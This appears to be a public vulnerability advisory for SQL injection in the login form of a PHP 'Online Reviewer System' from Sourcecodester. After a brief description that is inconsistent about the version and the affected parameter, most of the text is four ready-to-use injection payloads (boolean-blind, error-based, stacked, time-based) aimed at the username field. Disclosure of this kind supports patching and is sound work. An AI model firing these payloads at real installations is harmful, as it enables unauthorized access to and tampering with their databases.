Online Reviewer System 2.4.0 SQL Injection Vulnerability

## [Sourcecodester-Online-Reviewer-System-2.4.0 SQL - 4 types of
injection vulnerability](https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html)

## [Vendor](https://www.sourcecodester.com/users/janobe)

## Description:
The password parameter appears of the Online Reviewer System 1.0 to be
vulnerable to SQL injection attacks - 4 types of injection
vulnerability.
A single quote was submitted in the password parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.

## Payloads:

```mysql
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: username=TtzgjjZP' OR NOT
2693=2693#&password=r1L!h4v!O1'&btn-login=Log In

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: username=TtzgjjZP' AND (SELECT 4139 FROM(SELECT
COUNT(*),CONCAT(0x71707a7171,(SELECT
(ELT(4139=4139,1))),0x71707a7a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
GJJK&password=r1L!h4v!O1'&btn-login=Log In

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: username=TtzgjjZP';SELECT
SLEEP(5)#&password=r1L!h4v!O1'&btn-login=Log In

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=TtzgjjZP' AND (SELECT 8716 FROM
(SELECT(SLEEP(5)))MJXH)-- xWIO&password=r1L!h4v!O1'&btn-login=Log In
---
```